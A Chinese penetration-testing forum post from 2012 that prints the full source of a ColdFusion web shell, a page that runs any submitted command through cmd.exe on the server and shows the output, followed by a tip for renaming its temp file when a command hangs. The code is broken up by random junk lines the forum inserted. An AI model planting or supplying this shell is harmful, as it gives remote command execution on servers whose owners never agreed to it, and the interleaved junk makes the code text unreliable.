中国网络渗透测试联盟
标题:
cfm的cmdshell使用注意
[打印本页]
作者:
admin
时间:
2012-9-15 14:22
标题:
cfm的cmdshell使用注意
cfm-cmdshell
I ~/ Y) ]0 [8 ^6 o
<html>
9 Y- ^" d' s" K
<head>
H. B, y4 V/ o) y7 C
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
l$ @+ g d* U9 ~( N/ |
<title>CFM shell</title>
0 R) g# s5 ?/ f4 W7 S c
</head>
" R2 C9 h- \4 C
<body>
4 M2 f( E- |; Y. N* C, {7 U0 a
<!--- os.run --->
& g6 d. C5 u; D* M4 V' y
<cfif IsDefined("FORM.cmd")>
3 ~6 Q2 k2 W/ p, ~0 \& l* i
<cfoutput>#cmd#</cfoutput>
. ?$ v; g; Z3 `5 ^
<cfexecute name="C:\Winnt\System32\cmd.exe"
; M. |+ P% ]# V1 X% `8 J- b
arguments="/c #cmd#"
: m8 B! ^. H8 m
outputfile="#GetTempDirectory()#foobar.txt"
# P3 P: U% t5 e; ]
timeout="1">
, e5 f3 j; G( r# d
</cfexecute>
5 @1 I4 {1 p5 Y
</cfif>
8 P3 y& |" y- F0 ?
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
! Q- ^/ }0 ]7 M; I/ O
<input type=text size=45 name="cmd" >
, S% k( o6 f/ w- y4 X
<input type=Submit value="run">
/ N, n% V' h8 z% ^( f& D3 D
</form>
2 c; X6 ^& {) e6 P& [5 Z' G6 g
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
" e: F: O# _0 s& A6 t
<cffile action="Read"
. x' F7 O5 \; T# f) e/ P
file="#GetTempDirectory()#foobar.txt"
- f" a+ |! |: Z2 ^
variable="readText">
0 v; y( C# @# \, D( S( @) N! A
<textarea readonly cols=80 rows=20>
- ^, n- G, i7 Y2 [4 w
<CFOUTPUT>#readText#</CFOUTPUT>
: t; D; c( e6 A
</textarea>
) `/ d3 M% B) B7 Y8 `
<cffile action="Delete"
4 E* w, b, l! m% [2 `, a
file="#GetTempDirectory()#foobar.txt">
% `9 m4 _+ R1 W. b5 l8 z
</cfif>
& v% M; X5 y* A7 C) i' l
</body>
8 Z' ] b& Z7 C/ ^, R
</html>
5 ~6 C. u) R- G2 ~+ U" |" |& L
1 k0 Z# a: P; j+ G4 }
有时候会发现执行某次cmd后没有正常结束，造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字，几处都改一下就可以了。想来是程序未正常退出，文件被占用，写不进去了。
: b: @7 k3 \4 V7 X2 [
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2